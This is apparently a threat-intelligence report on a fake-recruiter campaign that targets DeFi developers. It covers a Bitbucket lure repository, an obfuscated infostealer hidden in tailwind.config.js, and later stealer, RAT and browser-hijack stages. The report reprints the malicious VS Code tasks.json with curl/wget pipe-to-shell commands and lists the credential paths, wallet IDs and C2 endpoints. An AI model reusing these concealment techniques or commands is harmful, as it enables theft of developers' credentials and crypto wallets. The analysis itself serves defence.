“The blueprints were genuine. The building was not.”

Executive Summary

A threat actor operating a fake recruiter persona on LinkedIn approached the researcher with a Technical Manager role at a fabricated DeFi company, offering $25,000 USD per month and directing the target to a Calendly booking page operated under the handle devs_empire. The actor shared a Bitbucket repository - lmng2026 - as the basis of a technical interview, presenting a polished, fully-designed DeFi platform called Lumanagi to establish credibility. The repository contained two independent execution paths: a VS Code folder-open task and a build-chain payload hidden in tailwind.config.js. The first path requires only opening the repository in a trusted VS Code workspace where automatic tasks are allowed; the second executes during normal frontend start or build activity. Neither requires the target to explicitly run the concealed payload file.

The campaign’s most technically notable characteristic is its payload concealment method. A heavily obfuscated JavaScript infostealer and downloader is appended to the end of tailwind.config.js, a Tailwind CSS configuration file evaluated as a CommonJS module by the webpack build pipeline. The preserved file is 8,201 bytes, with the legitimate configuration ending at approximately byte 1,448 and the payload concealed through horizontal whitespace padding after the apparent configuration terminator. The exact whitespace count should not be treated as stable across tooling, but the concealment effect is clear: the malicious code is easy to miss in normal editor view and executes when the build chain loads the configuration module. This concealment approach has not been documented in prior ThreatProphet reporting on Contagious Interview campaigns and represents a refinement of the actor’s delivery toolkit.

The secondary trigger is a .vscode/tasks.json with runOn: folderOpen semantics, implementing the cross-platform pipe-to-shell primitive documented in TP-2026-001 and TP-2026-002. Three OS-specific short links were used for payload delivery; all three had been suspended by the Short.io platform before retrieval, and the Stage 1 payload content was not recovered. The tailwind payload was fully recovered and analyzed. Static analysis reveals a two-phase infostealer and downloader: it collects host reconnaissance data and exfiltrates it to a C2 server, then downloads and executes a Stage 3 payload written to ~/.vscode/test.js. The fallback C2 - 38.92.47[.]157 on port 1244 - was confirmed as a live Node.js Express service by service-version scan. The hardcoded primary endpoint 147.124.202[.]225:1244 remained present in the Stage 2 payload, but a later full-port scan of that host showed IIS, RDP, and Windows management services rather than an open 1244 listener. Generic probes returned no useful application-level response, while a correctly formed fallback config request returned an encoded operational C2 address and campaign identifier. This supports a gated routing model with infrastructure rotation or selective availability rather than an openly browsable C2.

TTPs are consistent with DPRK-linked Contagious Interview activity documented since 2023. The Stage 3 payload is assessed as InvisibleFerret-lineage at high confidence based on code-level indicators. Overall campaign alignment with the Contagious Interview cluster is assessed at medium-high confidence based on TTP overlap, infrastructure linkage, and Stage 3 code-level analysis.


Evidence Basis and Scope

This report is based on preserved repository contents, captured stage payloads, recovered C2 responses, decoded JavaScript payloads, git metadata, Short.io response captures, and network-service observations collected during the investigation. The public report does not distribute the private evidence archive. Hashes, commit metadata, filenames, endpoint paths, and observable code behavior are included so other investigators can compare their own samples and telemetry.

The report distinguishes between directly observed artifacts, decoded payload behavior, infrastructure observations, and attribution assessment. Stage 1 content behind the Short.io links was not recovered because the links returned Short.io fraud/suspension responses at the time of retrieval. The Tailwind-config payload and later-stage payloads were recovered and analyzed.

Attack Overview

Initial Contact

The initial contact was made via LinkedIn. The recruitment message referenced the target’s blockchain and leadership background and offered a Technical Manager role described as providing genuine technical ownership, architectural decision-making, and strategic input - not task-based work. The stated compensation was $25,000 USD per month, fully remote and flexible. The actor directed the target to schedule a meeting via hxxps://calendly[.]com/devs_empire/online_meeting. The LinkedIn account used for initial contact was suspended before the URL could be captured.

The Calendly handle devs_empire matches the Telegram username @Devs_Empires used for all subsequent communication, indicating the actor operates both the recruitment-facing persona and the technical coordination channel under a common identity theme.

During the initial interview the actor shared a Figma design file for the lure project - a multi-screen DeFi platform called Lumanagi featuring swap, liquidity, governance voting, NFT auction house, trading bot, portfolio, lottery, and staking interfaces. The design work is substantial and well-executed, consistent with designs reused across multiple targets rather than assembled for a single engagement.

Repository Chain

The actor initially provided hxxps://bitbucket[.]org/lmng_src/lmng2026/src/main/ as the assessment repository. The link subsequently became inactive and the actor provided a replacement via Telegram: hxxps://bitbucket[.]org/tornadodev4040/lmng2026/src/main/. Both accounts and their repositories were subsequently deleted. The git metadata captured before deletion shows a single commit across both mirrors.

Bitbucket AccountRepositoryStatus
lmng_srclmng2026Deleted
tornadodev4040lmng2026Deleted

The rapid account rotation - providing a new repository URL mid-engagement rather than restoring the original - is consistent with a per-target or per-cluster repository model, where a fresh account is provisioned for each target or small group of targets and discarded after use or exposure.

Additional preserved Bitbucket evidence identified a later web3ai/lmng2026 mirror with the same HEAD commit (fe8c8a1a9f44ca7966d5355d7259ec41ba03ad4f) and author identity as the primary lmng2026 repository. A separate web3ai/teddy2026 repository was also preserved with HEAD commit 8d641c56f1bddc01eee9b314af464033008ed256, author unknown <ezraloomis.gears@gmail.com>, commit date 2026-01-27T22:40:26+09:00, and subject initial commit. The teddy2026 repository used the same campaign token (90284f08cc01) in Vercel-hosted VS Code task URLs, but it should be treated as a related repository variant rather than the primary Lumanagi lure unless additional social-engineering evidence links it to the same victim interaction.

Campaign Timeline

DateEvent
2025-01-21Single commit to lmng2026 by lucassilva4143@outlook.com (+0900)
2025-10-1145.59.163[.]55 (ps55) RDP certificate issued - Stage 5 secondary provisioned
2025-11-27147.124.213[.]19 (wr19) RDP certificate issued - operational C2 provisioned
2026-01-1066.235.168[.]238 (z238) RDP certificate issued - Stage 5 primary provisioned
2026-02-0145.43.11[.]245 (WIN-SVKBJTTA8DT) RDP certificate issued - collection server provisioned
2026-02-14Stage 3, Stage 4a, Stage 4b, and Stage 5 payloads last modified on operational C2
2026-02-24Campaign contact date
2026-03-01Analysis conducted; fallback C2 38.92.47[.]157:1244 confirmed live Node.js Express; primary host 147.124.202[.]225 showed IIS/RDP/Windows services, with no open 1244 listener in the later full-port scan

The gap between the repository commit date (2025-01-21) and the campaign contact date (2026-02-24) is approximately thirteen months. The repository was built substantially in advance of its use, or was originally prepared for a different campaign wave and redeployed here.

Kill Chain

  1. Target is contacted on LinkedIn by a recruitment persona with a high-compensation Technical Manager pitch. The Calendly link (devs_empire/online_meeting) is used to schedule the interview.
  2. During the interview the actor shares the Lumanagi Figma design and the lmng_src/lmng2026 Bitbucket repository as the technical assessment codebase.
  3. Target clones the repository and opens it in VS Code. If the workspace is trusted and automatic tasks are allowed, .vscode/tasks.json can run on folder open via runOn: folderOpen, dispatching an OS-specific pipe-to-shell command to a Short.io short link. All three short links were already suspended by Short.io at the time of retrieval; the Stage 1 payload content was not recovered.
  4. If the target runs npm start or npm run build, webpack loads tailwind.config.js as a Node.js module. The legitimate Tailwind configuration appears to terminate normally, followed by horizontal whitespace padding and the obfuscated payload. The payload executes at module load time within the webpack process - no action targeting the config file is required.
  5. The tailwind payload decodes its string table via a rotating XOR key and base64 decoding, requires os, fs, path, child_process, and request, and immediately contacts the primary C2 at 147.124.202[.]225:1244/s/90284f08cc01 via GET to retrieve a campaign configuration containing the server base URL (b) and campaign ID (v). If this request fails, the fallback C2 at 38.92.47[.]157:1244 is tried.
  6. On receipt of a valid C2 response, the payload collects host reconnaissance data: hostname(), homedir(), username(), platform(), and network interface details. This data is POSTed to the C2’s /keys endpoint as multipart formData.
  7. The payload downloads a Stage 3 JavaScript file from <C2>/j/<campaign_id> and writes it to ~/.vscode/test.js. A second download from <C2>/p is written to the project’s node_modules/ directory alongside a package.json. The payload then runs cd <dir> && npm i --silent to install the Stage 3 package’s dependencies, followed by node ~/.vscode/test.js.
  8. Stage 3 (~/.vscode/test.js) initializes, hardcodes the operational C2 at hxxp://147.124.213[.]19:1244, and immediately begins cross-platform credential collection: browser profiles (Chrome, Firefox, Brave, Opera - up to 200 profiles per browser), cryptocurrency wallet files (Bitcoin Core, Exodus, Atomic, and others), macOS Keychain, 1Password vault, and SSH keys (Linux).
  9. Collected files are exfiltrated to the operational C2 at POST hxxp://147.124.213[.]19:1244/keys as multipart/form-data with field multi_files. Each POST also includes type (campaign ID ZRj2s0k9), hid (hostname), and ts (timestamp).
  10. Stage 3 downloads two additional payloads from the operational C2: GET .../o/ZRj2s0k9~/.vscode/n.js (Stage 4a) and GET .../z/ZRj2s0k9~/.vscode/p.js (Stage 4b). Stage 4a is a persistent TCP RAT connecting to 45.43.11[.]245:1248, providing the operator with an interactive shell, file system access via FTP exfiltration (XOR-obfuscated, .zx_ suffix), and browser process control. Stage 4b runs a targeted keyword-pattern file search for credentials, seed phrases, and password manager databases, POSTing matches to the /keys endpoint. Stage 3 retries the full collection and download chain on a 620-second interval, up to three times.
  11. The operator may trigger Stage 5 on-demand by issuing RAT command 0xa via the Stage 4a channel. Stage 5 (~/.vscode/cjs) is a Chrome and Brave extension session hijacker that reads browser Preferences and Secure Preferences JSON, POSTs them to 66.235.168[.]238:1249/hm, receives operator-crafted replacement settings, writes them back to disk, clears session cache directories, and restarts the browser - causing MetaMask, Rabby Wallet, or Phantom to load with operator-controlled extension state. On macOS, if Chrome ≤ v140 is detected, Stage 5 additionally downloads a replacement Chrome DMG from 45.59.163[.]55:1244 and replaces the application bundle entirely.

Technical Analysis

Execution Trigger 1 - VS Code Folder Open (tasks.json)

.vscode/tasks.json defines a single task labeled vscode configured with runOptions.runOn: "folderOpen". In VS Code, folder-open automatic tasks run only after the user allows automatic tasks for the folder, and Workspace Trust can restrict task execution. The malicious value of this trigger is therefore not silent exploitation of VS Code itself, but abuse of a legitimate trust prompt in a time-pressured interview workflow.

The task implements the cross-platform pipe-to-shell primitive documented in TP-2026-001 and TP-2026-002, with three OS-specific variants:

{
  "label": "vscode",
  "type": "shell",
  "osx": {
    "command": "curl 'hxxps://lackservice.short[.]gy/ZRj2s0k9m' -L | sh"
  },
  "linux": {
    "command": "wget -qO- 'hxxps://lackservice.short[.]gy/ZRj2s0k9l' -L | sh"
  },
  "windows": {
    "command": "curl hxxps://lackservice.short[.]gy/ZRj2s0k9w -L | cmd"
  },
  "problemMatcher": [],
  "presentation": {
    "reveal": "never",
    "echo": false,
    "focus": false,
    "close": true,
    "panel": "dedicated",
    "showReuseMessage": false
  },
  "runOptions": {
    "runOn": "folderOpen"
  }
}

The presentation block is configured for complete invisibility: reveal: never suppresses the terminal panel, echo: false hides the command text, and close: true closes the terminal immediately after execution. The three short links share a common prefix (ZRj2s0k9) with a single-character OS suffix (m, l, w), indicating they were generated in a single batch from one Short.io account session.

All three short links returned HTTP 403 from Short.io’s fraud detection system at the time of retrieval. The Stage 1 payload content is unrecovered.

Execution Trigger 2 - Tailwind Configuration Payload (tailwind.config.js)

The second trigger is the campaign’s defining technical innovation. A 107-line obfuscated JavaScript payload is appended to tailwind.config.js after the legitimate Tailwind configuration block. The preserved file is 8,201 bytes, with the legitimate configuration ending at approximately byte 1,448 and a payload preview beginning after the apparent }; terminator. The added code is concealed by horizontal whitespace padding, making it easy to miss in normal editor view unless the analyst enables wrapping, uses a minimap, or inspects the file with tooling that exposes trailing content.

The payload executes automatically because webpack evaluates tailwind.config.js as a CommonJS module when react-scripts start or react-scripts build is invoked. The module.exports assignment in the legitimate configuration completes normally, then the appended code runs as top-level module scope. The package.json start script is:

"start": "concurrently \"npm run server\" \"npm run client\"",
"client": "set PORT=2588 && react-scripts start"

Any developer running npm start or npm run client triggers payload execution. The preserved package scripts are: start: concurrently "npm run server" "npm run client", client: set PORT=2588 && react-scripts start, build: react-scripts build, and server: cd backend && npm run start. The payload does not require the backend to be running and executes within the frontend build process when the Tailwind configuration is loaded.

Stage 2: Payload Obfuscation

The payload uses two layered obfuscation techniques operating together.

Rotating string array with XOR decoding. All string literals are stored as numeric byte arrays and decoded at runtime by XOR-ing each byte against a four-byte rotating key: [0x70, 0xa0, 0x89, 0x48]. The decoded strings include module names and filesystem paths:

Byte array variableDecoded valuePurpose
p.vscodeTarget directory for Stage 3 write
ztest.jsStage 3 filename
J/pSecond C2 download path
Rpackage.jsonStage 3 package descriptor
W/j/Primary C2 download path prefix
YcdShell command prefix
T&& npm i --silentDependency installation command
Vnode_modulesInstallation target directory
AnodeStage 3 execution command
Fnpm --prefixAlternate installation command
Hinstallnpm argument

Base64 permutation for C2 addresses. The two C2 IP addresses are stored as base64-encoded strings with their byte halves swapped. At runtime a helper function splits each string into two eight-character halves, reverses their order, and base64-decodes the result. The raw stored values decode naively to nonsense; the permutation is required to recover the actual addresses:

Stored stringNaive decodePermuted decodeRole
NC4yMDIuMTQ3LjEyMjI14.202.147.12225 (invalid)147.124.202[.]225Primary C2
NDcuMTU3MzguOTIu47.15738.92. (invalid)38.92.47[.]157Fallback C2

The port is constructed by appending the string fragment :124 from the string table to the decoded IP, followed by the character 4, yielding :1244. A full service-version scan independently confirms 1244/tcp as a live Node.js Express service on the fallback C2 (38.92.47[.]157). The same endpoint path is hardcoded for the primary C2 (147.124.202[.]225), but a later full-port scan of that host did not show 1244/tcp open. Treat 147.124.202[.]225:1244 as a payload-derived endpoint rather than a currently open service observation.

Stage 2: Execution Chain

On module load the payload immediately executes _(), which records a timestamp and calls C(0). C(0) constructs the URL hxxp://147.124.202[.]225:1244/s/90284f08cc01 via GET and parses the response to extract the server base URL (b) and a campaign-specific identifier (v). The path component 90284f08cc01 is a hardcoded campaign identifier embedded in the string table. If this request fails, C(1) is called using the fallback C2 at 38.92.47[.]157:1244. On receiving a valid response, two functions fire in sequence.

I() performs host reconnaissance: it collects the machine hostname, home directory, username, platform identifier, and network interface data. If the platform string begins with d - indicating a Darwin/macOS host - it additionally appends the machine’s default network interface name. A session string is assembled and passed to L().

L() exfiltrates the collected data to the C2’s /keys endpoint via HTTP POST with multipart/form-data encoding. The POST body contains five fields: ts (epoch timestamp recorded at startup), type (campaign identifier v), hid (assembled hostname string), ss (session string), and cc (network interface data).

Following exfiltration, E() calls q(), which downloads from <C2>/j/<campaign_id> and writes the response to ~/.vscode/test.js. In parallel, U() downloads from <C2>/p and writes a second file to the node_modules/ path inside the project directory. Once both files are written, k() executes cd <node_modules_path> && npm i --silent to install Stage 3 dependencies, then executes node ~/.vscode/test.js. An alternate execution path x()/S() uses npm --prefix <path> install for systems where cd && chaining is unavailable. The payload retries the entire chain on a 616-second interval (0x96640 milliseconds), up to three times, implemented via setInterval with a counter incremented on each cycle and cleared when the counter reaches three.

Probing confirmed 38.92.47[.]157:1244/s/90284f08cc01 is a live routing endpoint. The server returned ZT3MTQ3LjEyNC4yMTMuMTksWlJqMnMwazk=, decoding to operational C2 147.124.213[.]19 and campaign ID ZRj2s0k9. The Stage 3 payload was subsequently recovered directly from the operational C2. See the Stage 3 analysis section below.

Stage 3: Attribution Evidence (InvisibleFerret Confirmation)

The Stage 3 payload was recovered from the operational C2 as gjs_ZRj2s0k9.js (20,972 bytes, served from hxxp://147.124.213[.]19:1244/j/ZRj2s0k9). The filename follows the operator naming convention gjs_<campaign_id>.js. A companion package.json (329 bytes) was also recovered from /p, specifying the Stage 3 dependencies: basic-ftp, unzipper, plist, ps-node, axios, ajv, crypto, request, child_process, fs, and process. This dependency profile confirms a full-featured infostealer with FTP exfiltration capability and macOS-specific targeting.

Stage 3 is a heavily obfuscated Node.js credential and wallet stealer confirmed as InvisibleFerret by code-level analysis. Like Stage 2, it uses a large string table with a rotation-and-base64 encoding scheme. The operational C2 address 147.124.213[.]19 is hardcoded directly in Stage 3’s ao() function using the same base64 permutation technique as Stage 2. The campaign identifier ZRj2s0k9 is also hardcoded as ap. Stage 3 posts stolen data to 147.124.213[.]19:1244/keys using multipart form-data encoding, using the same field structure as Stage 2’s L() function (ts, type, hid, ss, cc) plus an additional multi_files field for binary file content. It retries on a 620-second interval (three cycles maximum), closely matching Stage 2’s 616-second retry interval.

Targeted data categories. Static analysis identifies the following stealing functions:

Full string table decode reveals the following targeted data categories with exact path values:

Browser credentials. The aA constant decodes to Login Data - the Chrome/Chromium/Brave SQLite database containing saved passwords. Browsers targeted by path: Local/Google/Chrome, google-chrome, Local/BraveSoftware/Brave-Browser, Roaming/Opera Software/Opera Stable, Local/Chromium, chromium. Up to 200 browser profiles per browser (constant 0xc8). Extension data targeted via Local Extension Settings and Sync Extension Settings folder names. IndexedDB storage targeted via IndexedDB / chrome-extension / 0.indexeddb.leveldb path components.

Firefox credentials. Path ~/.mozilla/firefox/ → files key4.db, key3.db, logins.json. This is Firefox’s complete credential and certificate store.

macOS Keychain. Path ~/Library/Keychains/login.keychain → exfiltrated with label logkc-db.

Linux GNOME Keyring. Path ~/.local/share/keyrings/.

1Password (all formats). macOS: Library/Group Containers/2BUA8C4S2C.com.1password and Library/Containers/.../Data/Library/Data/OnePassword.sqlite. Legacy agilekeychain: 1Password.agilekeychain. Windows: 1password.sqlite / op1.sq.

Desktop wallets. Directory named wallets in Roaming path. Exodus via bi path. Atomic wallet via bj path.

17 targeted browser wallet extensions (decoded from arrays b1/b2): MetaMask (nkbihfbeogaeaoehlefnkodbefgpgknn), MetaMask Edge (ejbalbakoplchlghecdalmeeeajnimhm), TronLink (ibnejdfjmmkpcnlpebklmnkoeoihofec), Phantom/Solana (bfnaelmomeimhlpmgjnjophhpkkoljpa), BNB Chain Wallet (fhbohimaelbohpjbbldcngcnapndodjp), Coinbase Wallet (hnfanknocfeofbddgcijnmhnfnkdnaad), Ronin/Axie Infinity (aeachknmefphepccionboohckonoeemg), Yoroi/Cardano (egjidjbpglichdcondbcbdnbeeppgdph), XDEFI Wallet (pdliaogehgdbhbnmkklieghmmjkpigpa), Keplr/Cosmos (nphplpgoakhhjchkkhmiggakijnkhfnd), MEW CX/MyEtherWallet (hifafgmccdpekplomjjkcfgodnhcellj), Yoroi alt (aholpfdialjgjfhomihkjbmgjidlcdno), OKX Wallet (mcohilncbfahbmgdjkbpemcciiolgcge), KardiaChain (fdjamakpfbbddfjaooikfcpapjohcfmg), Bitski (acmacodkjbdgmoleebolmdjonilkdbch), Enkrypt/MEW (dmkamcknogkgcdfhhbddcghachkejeap), Math Wallet (mkpegjkblkkefacfnmkajcjmabijhclg).

The operator tags each stolen item with a label prefix before posting to /keys: flk4_ for Chrome extension data, flj_ for Chromium localStorage, fk3_ for Firefox extensions, fk4_ for Firefox login data, flk3_ for Opera/Brave data, and brld_/plld_ for browser root data. These labels allow the operator to categorize and sort received data server-side.

Stage 4 delivery. XOR-decoding the byte arrays bF=[0x1f,0xbf,0x76] and bB=[0x1f,0xaa,0x76] with key [0x30,0xd0,0x59,0x18] yields download paths /o/ and /z/. Stage 4 consists of two payloads retrieved from the operational C2 and written to ~/.vscode/:

Stage 4a - njs_ZRj2s0k9.js (27,416 bytes, Last-Modified 2026-02-27T13:42:48Z). A full persistent TCP RAT. On execution it immediately connects to a fourth infrastructure IP, 45.43.11[.]245:1248, distinct from all three previously identified C2 addresses. The connection uses a raw TCP socket with a length-prefixed JSON framing protocol. Command codes implement: interactive shell (code=1, streaming stdout/stderr via child_process.exec); remote file download to victim (code=2); file upload from victim via FTP (code=5); browser process termination (code=6, kills Chrome and Brave on both Windows and macOS); full home directory / Documents+Downloads archive and FTP upload (code=8); secondary module download and detached execution (code=0xa, from endpoint {C2}/c/{campaign_id}); and self-delete (ssh_cmd 'delete'). All file exfiltration routes through an FTP server at the same 45.43.11[.]245 address, staging files under env_<timestamp>/<hostname>/<username>/. Files are XOR-obfuscated before upload using a hardcoded 7-byte rotating key G01d*8@, uploaded with a .zx_ suffix. The 30-second reconnect loop retries up to 0xfffff (1,048,575) times before capping at 100. Stage 4a was last modified on 2026-02-27 - three days after campaign contact began - indicating the operator updated the RAT mid-campaign.

Stage 4b - zjs_ZRj2s0k9.js (10,561 bytes, Last-Modified 2026-02-14T08:33:48Z). A targeted file finder and exfiltrator, prepared on the same day as Stage 3. On macOS/Linux it runs find across the home directory; on Windows it iterates drives C: through I: via dir /s. Files matching 19 keyword patterns are collected and POSTed to 147.124.213[.]19:1244/keys. The keyword list decoded from the string table: *sol (Solana), *wal (wallet), *acc (account), *pas (password), *sec (secret), *key (key/keyfile), *mne (mnemonic), *con (config), *pri (private), *1pa (1Password), *not (notes), *met (MetaMask), *see (seed), *.kd (.kdbx KeePass), let* (wallet-related), ret* (secret*), *.en (*.env), jzt_ / jzt (internal campaign tag). The pattern set is entirely focused on credentials, seed phrases, and password manager databases.

The persistence path ~/.vscode/test.js is consistent with InvisibleFerret persistence behavior documented across multiple prior Contagious Interview analyses, where the .vscode/ directory in the user’s home folder is used as a low-visibility write location on developer machines where the directory is expected to exist legitimately.

Stage 3: Credential Stealer and File Exfiltrator

Stage 3 is a 20,972-byte obfuscated JavaScript file retrieved from the operational C2 and written to ~/.vscode/test.js. It was last modified on the server on 2026-02-14, indicating it was prepared approximately ten days before campaign contact began. Full decode of the Stage 3 string table and direct code tracing allows code-level comparison against published InvisibleFerret samples from Palo Alto Unit 42 (November 2023), Sekoia (2024), and Recorded Future. The payload is InvisibleFerret, assessed at high confidence based on the following indicators matching known IF code-level signatures:

The persistence paths ~/.vscode/test.js, ~/.vscode/n.js, and ~/.vscode/p.js match exactly. The C2 download endpoint naming pattern /o/<campaign_id> and /z/<campaign_id> - confirmed by XOR-decoding the bF and bB byte arrays with key [0x30, 0xd0, 0x59, 0x18] - matches the InvisibleFerret endpoint structure documented in Sekoia’s 2024 analysis. The browser iteration constant 0xc8 (200 profiles) is identical. The wallets directory target string, the Login Data SQLite target string, the logkc-db output label for macOS Keychain data, and the targeting of key4.db, key3.db, and logins.json in ~/.mozilla/firefox/ all match documented InvisibleFerret indicators precisely. The 1Password targeting via both the Container path 2BUA8C4S2C.com.1password and the agilekeychain format 1Password.agilekeychain matches Recorded Future’s InvisibleFerret analysis. The full set of 17 targeted browser extension IDs was decoded and matches known InvisibleFerret wallet extension lists.

Two capabilities are present that have not been documented in prior InvisibleFerret reporting: the ps-node dependency for process enumeration, and the basic-ftp dependency for FTP exfiltration to 147.124.213[.]19:21 (pyftpdlib 1.0.0). These may represent tooling updates in this campaign wave.

The operational C2 address hxxp://147.124.213[.]19:1244 is hardcoded in Stage 3 via the same base64 half-swap permutation used in Stage 2, confirming the C2 is campaign-specific and controlled by the same operator. The campaign identifier ZRj2s0k9 - consistent with the Stage 2 value and with the prefix shared by all three Short.io slugs in tasks.json - is hardcoded as a constant, providing a cross-payload campaign linkage.

Stage 3 uses a separate XOR key [0x30, 0xd0, 0x59, 0x18] from Stage 2’s [0x70, 0xa0, 0x89, 0x48], and a larger string array (370 entries vs 109 in Stage 2). The same rotation-based deobfuscation pattern applies.

Platform detection. Stage 3 checks platform()[0] to branch execution: d for macOS, l for Linux, w for Windows. Cross-platform targeting functions execute on all systems; platform-specific path construction adjusts file locations accordingly.

File collection mechanism. The core collection worker b4() enumerates a target directory, reads each file, and assembles it into the exfiltration payload. The exfiltration POST function b0() sends collected files to hxxp://147.124.213[.]19:1244/keys as multipart/form-data with field name multi_files. The POST body also includes type (campaign ID), hid (hostname), and ts (timestamp) - the same field names used in the Stage 2 host registration POST to /keys.

The server’s /keys endpoint hung open for 11 seconds when probed with a synthetic POST before the connection was terminated. This is consistent with the server accepting data normally and storing it to disk or forwarding it via FTP. The basic-ftp dependency in the Stage 3 /p package.json provides the FTP exfiltration channel to 147.124.213[.]19:21.

Browser credential targeting. b6() iterates up to 200 Chrome-based browser profiles (Default, Profile 1 through Profile 199) and calls b4() on the profile directory contents. ba() applies a second iteration pattern for additional browser profiles. bf() targets Firefox profiles via the /.mozilla/firefox/ path (Linux). Platform-specific path constants target Chrome, Chromium, Brave, Opera, and Opera GX user data directories across all three operating systems.

Cryptocurrency wallet targeting. Multiple dedicated collection functions target wallet files:

bl() and bm() enumerate wallet directories on the target system. bo() targets Bitcoin Core and other desktop wallet applications via their data directories, collecting key1.db, key3.db, and database log files. bi() and bj() target Exodus wallet and Atomic wallet application data directories specifically. bv() targets 1Password vault files.

Platform-specific collection. On macOS, bc() targets the Keychain database. bp() collects macOS Keychain login files. bs() targets browser SQLite databases (cookies, login data, history). bu() targets SQLite database files at additional wallet-related paths. On Linux, bg() targets the /.ssh/ directory or keyrings directory for stored credentials. On Windows, the platform-specific path construction covers the equivalent AppData locations for all browser and wallet targets.

Stage 4 download. Following collection, Stage 3 downloads two additional payloads from the operational C2:

  • GET hxxp://147.124.213[.]19:1244/o/ZRj2s0k9 → written to ~/.vscode/n.js, executed via node
  • GET hxxp://147.124.213[.]19:1244/z/ZRj2s0k9 → written to ~/.vscode/p.js, executed via node

Stage 3 retries on a 620-second interval (0x975e0 ms), up to three times - the same retry count as Stage 2.

Stage 5: Chrome/Brave Extension Session Hijacker

Stage 5 (cjs_ZRj2s0k9.js, 22,252 bytes) is retrieved on demand by the operator via RAT command 0xa from GET hxxp://147.124.213[.]19:1244/c/ZRj2s0k9. It was last modified 2026-02-14, the same day as Stages 3 and 4b, confirming it was prepared as part of the original payload suite. SHA-256: 67bdebb27e1db8462d0a815e779f7fae70852eacaa826c17204ac37bcbf2897b.

Stage 5 introduces two new C2 IPs not present in earlier stages: 66.235.168[.]238:1249 (browser hijack results endpoint) and 45.59.163[.]55:1244 (extension decryption zip archives and Chrome DMG). Both are AS397423 Tier.Net Technologies LLC, consistent with the rest of the campaign’s HTTP infrastructure.

Capability. Stage 5 is a Chromium-based browser extension session hijacker targeting Chrome and Brave across all channels (Stable, Beta, Dev, Nightly) on macOS, Linux, and Windows. On execution it enumerates all browser profile directories, locates installed instances of the three target extensions, and reads the Preferences and Secure Preferences JSON files. It POSTs these to 66.235.168[.]238:1249/hm along with system identifiers (hostname, username, platform, Windows SID or macOS hardware UUID). The operator C2 returns replacement extension settings which are written back to the Preferences JSON on disk. Browser session cache directories (GPU cache, Session Storage, Code Cache) are then deleted to force a clean reload, and the browser is killed and restarted - causing the target extension to load with operator-controlled state.

On macOS, Stage 5 additionally checks whether the installed Chrome version is ≤ 140 (ccv()). If so, it downloads a replacement Chrome DMG from 45.59.163[.]55:1244/image, mounts it with hdiutil, copies the .app bundle over the existing installation, and relaunches. This replaces the Chrome binary itself, not only the extension configuration.

Targeted extensions. Three extension IDs are hardcoded in the K array. All three were resolved by simulating the obfuscator’s array rotation (confirmed rotation offset r=6):

SlotExtension IDWallet
K[0]nkbihfbeogaeaoehlefnkodbefgpgknnMetaMask
K[1]acmacodkjbdgmoleebolmdjonilkdbchRabby Wallet (DeBank)
K[2]bfnaelmomeimhlpmgjnjophhpkkoljpaPhantom Wallet

The three targets provide broad coverage of the dominant chains used by DeFi developers: Ethereum/EVM (MetaMask, Rabby) and Solana (Phantom) - matching the profile of a developer responding to a DeFi job posting.

Results reporting. After processing each browser profile the outcome string (hostname, username, per-extension success/failure) is POSTed to 66.235.168[.]238:1249/t.


Infrastructure Analysis

C2 Infrastructure

The campaign used a staged infrastructure layout. The Stage 2 payload contains a primary config endpoint at 147.124.202[.]225:1244/s/90284f08cc01 and a fallback config endpoint at 38.92.47[.]157:1244/s/90284f08cc01. The fallback config server returned an encoded operational C2 address and campaign identifier. The operational C2 (147.124.213[.]19) handled payload delivery and exfiltration routes, while later stages introduced a separate RAT/collection node and two Stage 5 browser-extension hijack nodes.

IndicatorPrimary host (147.124.202[.]225)Config/Routing C2 (38.92.47[.]157)Operational C2 (147.124.213[.]19)
Key ports observed80/tcp IIS 10.0; 3389/tcp RDP; Windows HTTPAPI/WinRM ports; 1244/tcp not observed open in later full-port scan1244/tcp Node.js Express; 3389/tcp RDP; Windows HTTPAPI/WinRM ports1244/tcp Node.js Express; 21/tcp FTP (pyftpdlib 1.0.0); 3389/tcp RDP; WinRM/HTTPAPI ports
OS / version indicatorWindows Server, RDP NTLM product version 10.0.20348Windows Server, RDP NTLM product version 10.0.20348Windows Server, RDP NTLM product version 10.0.20348
RDP hostnameWIN-U1E8DS0BOBIWIN-KJSE1F8TJ9Cwr19
RDP cert issued2025-12-182026-02-012025-11-27
Role assessmentPayload-hardcoded primary config host; listener unavailable or rotated by later scanLive fallback config/routerOperational C2 serving payload and exfiltration routes

This scan evidence changes the handling of 147.124.202[.]225:1244. It remains a high-value indicator because it is embedded in the Stage 2 payload, but the public scan evidence does not support describing the 1244 listener as live at scan time. The later full-port scan showed IIS, RDP, SMB/RPC, WinRM, and HTTPAPI services on the host, but not an open 1244 listener.

The config/routing server (38.92.47[.]157) and operational C2 (147.124.213[.]19) form the strongest directly observed routing chain. The config server authenticates the campaign token and redirects live infections to the operational server via the encoded ZT3... response. The operational server handles exfiltration at /keys and serves Stage 3 and Stage 4 payloads. The root page served at hxxp://147.124.213[.]19:1244/ is a “Node.js upload multiple files” application, indicating the C2 was built by extending a public-style file upload template with campaign-specific routes.

Active probing of the operational C2 at 147.124.213[.]19:1244/s/90284f08cc01 returned HTTP 404 (Cannot GET /s/90284f08cc01), confirming that the /s/ config routing endpoint was not present on the operational tier. This supports a separated routing architecture: the config server handles campaign-token routing, while the operational server exposes /keys, /j/, /o/, /z/, /c/, and /p routes used for exfiltration and payload delivery.

The additional infrastructure nodes show a distinct provisioning pattern from the config and operational C2 nodes:

IndicatorStage 4a Collection (45.43.11[.]245)Stage 5 Primary (66.235.168[.]238)Stage 5 Secondary (45.59.163[.]55)
Key ports observed1248/tcp RAT channel candidate; 1243/1245/1247/tcp additional open listeners; RDP/WinRM/HTTPAPI1244/tcp HTTP-like service returning 400 Bad Request; 1249/tcp Node.js Express; 5317/19920/19921/22413/tcp tcpwrapped; RDP/WinRM/HTTPAPI1244/tcp Node.js Express with title test; RDP/WinRM/HTTPAPI
OS / version indicatorWindows Server, RDP NTLM product version 10.0.20348Windows Server, RDP NTLM product version 10.0.17763Windows Server, RDP NTLM product version 10.0.17763
RDP hostnameWIN-SVKBJTTA8DTz238ps55
RDP cert issued2026-02-012026-01-102025-10-11
Role assessmentStage 4a RAT and collection nodeStage 5 browser-hijack result endpoint / auxiliary service hostStage 5 extension archive and Chrome DMG host

